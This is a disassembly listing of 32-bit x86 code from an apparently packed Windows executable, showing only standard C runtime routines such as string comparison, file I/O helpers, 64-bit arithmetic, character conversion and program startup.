		lea	eax, dword_4E15A8
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41D853
		mov	al, 0FFh
		mov	edi, edi


loc_41D81C:				; CODE XREF: sub_41D800+28j
					; sub_41D800+48j
		or	al, al
		jz	short loc_41D84E
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_41D81C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41D81C
		sbb	al, al
		sbb	al, 0FFh


loc_41D84E:				; CODE XREF: sub_41D800+1Ej
		movsx	eax, al
		jmp	short loc_41D887
; ---------------------------------------------------------------------------


loc_41D853:				; CODE XREF: sub_41D800+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi


loc_41D85C:				; CODE XREF: sub_41D800+68j
					; sub_41D800+80j
		or	al, al
		jz	short loc_41D887
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_41D85C
		push	eax
		push	ebx
		call	sub_41DE1C
		mov	ebx, eax
		add	esp, 4
		call	sub_41DE1C
		add	esp, 4
		cmp	bl, al
		jz	short loc_41D85C
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41D887:				; CODE XREF: sub_41D800+51j
					; sub_41D800+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41D800	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D88C	proc near		; CODE XREF: sub_40E7D2+193p
					; sub_40E7D2+1DDp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, offset dword_442B58
		push	edi
		push	esi
		call	sub_4202AB
		mov	edi, eax
		lea	eax, [esp+10h+arg_4]
		push	eax
		push	[esp+14h+arg_0]
		push	esi
		call	sub_41F504
		push	esi
		push	edi
		mov	ebx, eax
		call	sub_420338
		add	esp, 18h
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41D88C	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41D939
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41D8DC
		cmp	edi, 1
		jz	short loc_41D8DC
		cmp	edi, 2
		jnz	short loc_41D939


loc_41D8DC:				; CODE XREF: .nsp0:0041D8D0j
					; .nsp0:0041D8D5j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41D8F3
		push	esi
		call	sub_4226B6
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi


loc_41D8F3:				; CODE XREF: .nsp0:0041D8E4j
		push	esi
		call	sub_41E25B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41D908
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41D91C
; ---------------------------------------------------------------------------


loc_41D908:				; CODE XREF: .nsp0:0041D8FFj
		test	al, 1
		jz	short loc_41D91C
		test	al, 8
		jz	short loc_41D91C
		test	ah, 4
		jnz	short loc_41D91C
		mov	dword ptr [esi+18h], 200h


loc_41D91C:				; CODE XREF: .nsp0:0041D906j
					; .nsp0:0041D90Aj ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_42261C
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41D946
; ---------------------------------------------------------------------------


loc_41D939:				; CODE XREF: .nsp0:0041D8C8j
					; .nsp0:0041D8DAj
		mov	dword_4E14F8, 16h
		or	eax, 0FFFFFFFFh


loc_41D946:				; CODE XREF: .nsp0:0041D937j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D950	proc near		; CODE XREF: sub_413107+19Ep
					; sub_420375+7F8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41D969
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41D969:				; CODE XREF: sub_41D950+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41D950	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D984	proc near		; CODE XREF: .nsp0:004168EEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41D9A8
		xor	eax, eax
		jmp	loc_41DA75
; ---------------------------------------------------------------------------


loc_41D9A8:				; CODE XREF: sub_41D984+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41D9BB
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41D9C2
; ---------------------------------------------------------------------------


loc_41D9BB:				; CODE XREF: sub_41D984+2Dj
		mov	[ebp+arg_C], 1000h


loc_41D9C2:				; CODE XREF: sub_41D984+35j
					; sub_41D984+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41D9F6
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41D9F6
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41D9DC
		mov	edi, eax


loc_41D9DC:				; CODE XREF: sub_41D984+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	near ptr sub_41C9B0
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41DA3C
; ---------------------------------------------------------------------------


loc_41D9F6:				; CODE XREF: sub_41D984+47j
					; sub_41D984+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41DA41
		test	ecx, ecx
		jz	short loc_41DA0A
		push	esi
		call	sub_41E25B
		test	eax, eax
		pop	ecx
		jnz	short loc_41DA83


loc_41DA0A:				; CODE XREF: sub_41D984+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41DA1D
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41DA1F
; ---------------------------------------------------------------------------


loc_41DA1D:				; CODE XREF: sub_41D984+8Aj
		mov	edi, ebx


loc_41DA1F:				; CODE XREF: sub_41D984+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42280E
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41DA7A
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41DA7A


loc_41DA3C:				; CODE XREF: sub_41D984+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41DA6A
; ---------------------------------------------------------------------------


loc_41DA41:				; CODE XREF: sub_41D984+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41F3EF
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DA83
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41DA6A
		mov	[ebp+arg_C], 1


loc_41DA6A:				; CODE XREF: sub_41D984+BBj
					; sub_41D984+DDj
		test	ebx, ebx
		jnz	loc_41D9C2
		mov	eax, [ebp+arg_8]


loc_41DA75:				; CODE XREF: sub_41D984+1Fj
					; sub_41D984+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41DA7A:				; CODE XREF: sub_41D984+ADj
					; sub_41D984+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41DA85
; ---------------------------------------------------------------------------


loc_41DA83:				; CODE XREF: sub_41D984+84j
					; sub_41D984+CFj
		mov	eax, edi


loc_41DA85:				; CODE XREF: sub_41D984+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41DA75
sub_41D984	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA8E	proc near		; CODE XREF: sub_416F11+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	dword_427098	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41DAAE
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		call	sub_420244
		pop	ecx


loc_41DAAA:				; CODE XREF: sub_41DA8E+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41DAAE:				; CODE XREF: sub_41DA8E+Dj
		test	al, 1
		jz	short loc_41DACF
		test	[esp+arg_4], 2
		jz	short loc_41DACF
		mov	dword_4E14F8, 0Dh
		mov	dword_4E14FC, 5
		jmp	short loc_41DAAA
; ---------------------------------------------------------------------------


loc_41DACF:				; CODE XREF: sub_41DA8E+22j
					; sub_41DA8E+29j
		xor	eax, eax
		retn
sub_41DA8E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DAE0	proc near		; CODE XREF: sub_416F2B+3Fp
					; sub_41F504+5C4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41DB02
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DB43
; ---------------------------------------------------------------------------


loc_41DB02:				; CODE XREF: sub_41DAE0+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41DB10:				; CODE XREF: sub_41DAE0+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DB10
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DB3E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41DB3E
		jb	short loc_41DB3F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41DB3F


loc_41DB3E:				; CODE XREF: sub_41DAE0+4Ej
					; sub_41DAE0+54j
		dec	esi


loc_41DB3F:				; CODE XREF: sub_41DAE0+56j
					; sub_41DAE0+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41DB43:				; CODE XREF: sub_41DAE0+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41DAE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DB50	proc near		; CODE XREF: sub_416F2B+2Dp
					; sub_41F504+5B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41DB71
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41DBC1
; ---------------------------------------------------------------------------


loc_41DB71:				; CODE XREF: sub_41DB50+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41DB7F:				; CODE XREF: sub_41DB50+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DB7F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41DBAA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41DBAA
		jb	short loc_41DBB2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41DBB2


loc_41DBAA:				; CODE XREF: sub_41DB50+4Aj
					; sub_41DB50+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41DBB2:				; CODE XREF: sub_41DB50+52j
					; sub_41DB50+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41DBC1:				; CODE XREF: sub_41DB50+1Fj
		pop	ebx
		retn	10h
sub_41DB50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DBD0	proc near		; CODE XREF: sub_41703B+5Fp
					; sub_41703B+90p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41DBF1
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41DBF1:				; CODE XREF: sub_41DBD0+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41DC0D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41DC0D:				; CODE XREF: sub_41DBD0+27j
		or	eax, eax
		jnz	short loc_41DC29
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DC6A
; ---------------------------------------------------------------------------


loc_41DC29:				; CODE XREF: sub_41DBD0+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41DC37:				; CODE XREF: sub_41DBD0+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41DC37
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DC65
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41DC65
		jb	short loc_41DC66
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41DC66


loc_41DC65:				; CODE XREF: sub_41DBD0+85j
					; sub_41DBD0+8Bj
		dec	esi


loc_41DC66:				; CODE XREF: sub_41DBD0+8Dj
					; sub_41DBD0+93j
		xor	edx, edx
		mov	eax, esi


loc_41DC6A:				; CODE XREF: sub_41DBD0+57j
		dec	edi
		jnz	short loc_41DC74
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41DC74:				; CODE XREF: sub_41DBD0+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41DBD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DC7A	proc near		; CODE XREF: sub_4176E9+BFp
					; sub_4176E9+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4E15B0
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41DCAE
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41DD15


loc_41DC96:				; CODE XREF: sub_41DC7A+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41DCA7
		cmp	cl, 7Ah
		jg	short loc_41DCA7
		sub	cl, 20h
		mov	[edx], cl


loc_41DCA7:				; CODE XREF: sub_41DC7A+21j
					; sub_41DC7A+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41DC96
		jmp	short loc_41DD15
; ---------------------------------------------------------------------------


loc_41DCAE:				; CODE XREF: sub_41DC7A+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	loc_4229BB
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41DD07
		push	edi
		call	sub_41BBCB
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41DD07
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4E15B0
		call	loc_4229BB
		add	esp, 20h
		test	eax, eax
		jz	short loc_41DD07
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41C550
		pop	ecx
		pop	ecx


loc_41DD07:				; CODE XREF: sub_41DC7A+53j
					; sub_41DC7A+61j ...
		push	[ebp+var_4]
		call	sub_41B961
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_41DD15:				; CODE XREF: sub_41DC7A+1Aj
					; sub_41DC7A+32j
		pop	ebx
		leave
		retn
sub_41DC7A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DD18	proc near		; CODE XREF: sub_4180E3+1A8p

arg_0		= dword	ptr  4

		cmp	dword_44276C, 1
		jle	short loc_41DD2F
		push	4
		push	[esp+4+arg_0]
		call	sub_41F37A
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DD2F:				; CODE XREF: sub_41DD18+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_442560
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41DD18	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DD40	proc near		; CODE XREF: sub_420375+76p
					; sub_420375+88p ...

arg_0		= dword	ptr  4

		cmp	dword_44276C, 1
		jle	short loc_41DD57
		push	8
		push	[esp+4+arg_0]
		call	sub_41F37A
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DD57:				; CODE XREF: sub_41DD40+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_442560
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41DD40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DD70	proc near		; CODE XREF: sub_4184F4+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41DDBC
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41DDBD
		test	eax, 1
		jz	short loc_41DD9D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41DDEA
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41DDBA


loc_41DD9D:				; CODE XREF: sub_41DD70+20j
					; sub_41DD70+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41DDEA
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41DDEA
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41DD9D


loc_41DDBA:				; CODE XREF: sub_41DD70+2Bj
					; sub_41DD70+84j
		pop	edi
		pop	esi

locret_41DDBC:				; CODE XREF: sub_41DD70+6j
		retn
; ---------------------------------------------------------------------------


loc_41DDBD:				; CODE XREF: sub_41DD70+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41DDF2
		repe cmpsd
		jz	short loc_41DDF2
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41DDE5
		cmp	ch, dh
		jnz	short loc_41DDE5
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41DDE5
		cmp	ch, dh


loc_41DDE5:				; CODE XREF: sub_41DD70+63j
					; sub_41DD70+67j ...
		mov	eax, 0


loc_41DDEA:				; CODE XREF: sub_41DD70+26j
					; sub_41DD70+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DDF2:				; CODE XREF: sub_41DD70+55j
					; sub_41DD70+59j
		test	eax, eax
		jz	short loc_41DDBA
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41DDE5
		dec	eax
		jz	short loc_41DE19
		cmp	dh, ch
		jnz	short loc_41DDE5
		dec	eax
		jz	short loc_41DE19
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41DDE5
		dec	eax


loc_41DE19:				; CODE XREF: sub_41DD70+8Fj
					; sub_41DD70+96j
		pop	edi
		pop	esi
		retn
sub_41DD70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DE1C	proc near		; CODE XREF: sub_418814+6p
					; sub_418832+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4E15B0, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41DE49
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41DEE2
		cmp	eax, 5Ah
		jg	loc_41DEE2
		add	eax, 20h
		jmp	loc_41DEE2
; ---------------------------------------------------------------------------


loc_41DE49:				; CODE XREF: sub_41DE1C+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41DE7D
		cmp	dword_44276C, esi
		jle	short loc_41DE6B
		push	esi
		push	ebx
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_41DE75
; ---------------------------------------------------------------------------


loc_41DE6B:				; CODE XREF: sub_41DE1C+42j
		mov	eax, off_442560
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41DE75:				; CODE XREF: sub_41DE1C+4Dj
		test	eax, eax
		jnz	short loc_41DE7D


loc_41DE79:				; CODE XREF: sub_41DE1C+ADj
		mov	eax, ebx
		jmp	short loc_41DEE2
; ---------------------------------------------------------------------------


loc_41DE7D:				; CODE XREF: sub_41DE1C+3Aj
					; sub_41DE1C+5Bj
		mov	edx, off_442560
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41DEA1
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41DEAA
; ---------------------------------------------------------------------------


loc_41DEA1:				; CODE XREF: sub_41DE1C+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41DEAA:				; CODE XREF: sub_41DE1C+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4E15B0
		call	loc_4229BB
		add	esp, 20h
		test	eax, eax
		jz	short loc_41DE79
		cmp	eax, esi
		jnz	short loc_41DED5
		movzx	eax, [ebp+var_4]
		jmp	short loc_41DEE2
; ---------------------------------------------------------------------------


loc_41DED5:				; CODE XREF: sub_41DE1C+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41DEE2:				; CODE XREF: sub_41DE1C+16j
					; sub_41DE1C+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DE1C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DEE7	proc near		; CODE XREF: sub_418E3D+ADp
					; .nsp0:00419E71p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41DEFE


loc_41DEF4:				; CODE XREF: sub_41DEE7+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41DEF4


loc_41DEFE:				; CODE XREF: sub_41DEE7+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41DEE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DF04	proc near		; CODE XREF: sub_418E3D+7Fp
					; sub_418E3D+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41DFD1
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41DFFE
		cmp	dword_4E15B0, esi
		jnz	short loc_41DF55
		cmp	edi, esi
		jbe	loc_41DFFE


loc_41DF34:				; CODE XREF: sub_41DF04+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41DFFE
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41DF34
		jmp	loc_41DFFE
; ---------------------------------------------------------------------------


loc_41DF55:				; CODE XREF: sub_41DF04+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_427184
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4E15C0
		call	esi ; dword_427184
		test	eax, eax
		jnz	loc_41DFFD
		call	dword_42708C	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_41DF8F


loc_41DF80:				; CODE XREF: sub_41DF04+CBj
					; sub_41DF04+F7j
		mov	dword_4E14F8, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41DFFE
; ---------------------------------------------------------------------------


loc_41DF8F:				; CODE XREF: sub_41DF04+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41DF97:				; CODE XREF: sub_41DF04+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41DFB9
		mov	edx, off_442560
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41DFAE
		inc	eax


loc_41DFAE:				; CODE XREF: sub_41DF04+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41DF97


loc_41DFB9:				; CODE XREF: sub_41DF04+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4E15C0
		call	esi ; dword_427184
		test	eax, eax
		jnz	short loc_41DFFE
		jmp	short loc_41DF80
; ---------------------------------------------------------------------------


loc_41DFD1:				; CODE XREF: sub_41DF04+Fj
		cmp	dword_4E15B0, esi
		jnz	short loc_41DFE4
		push	[ebp+arg_4]
		call	sub_41B890
		pop	ecx
		jmp	short loc_41DFFE
; ---------------------------------------------------------------------------


loc_41DFE4:				; CODE XREF: sub_41DF04+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4E15C0
		call	dword_427184	; MultiByteToWideChar
		cmp	eax, esi
		jz	short loc_41DF80


loc_41DFFD:				; CODE XREF: sub_41DF04+6Bj
		dec	eax


loc_41DFFE:				; CODE XREF: sub_41DF04+1Aj
					; sub_41DF04+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41DF04	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427720
		push	offset sub_4233D4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		call	dword_4271B4	; GetVersion
		xor	edx, edx
		mov	dl, ah
		mov	dword_4E1510, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	dword_4E150C, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	dword_4E1508, ecx
		shr	eax, 10h
		mov	dword_4E1504, eax
		xor	esi, esi
		push	esi
		call	sub_41E32D
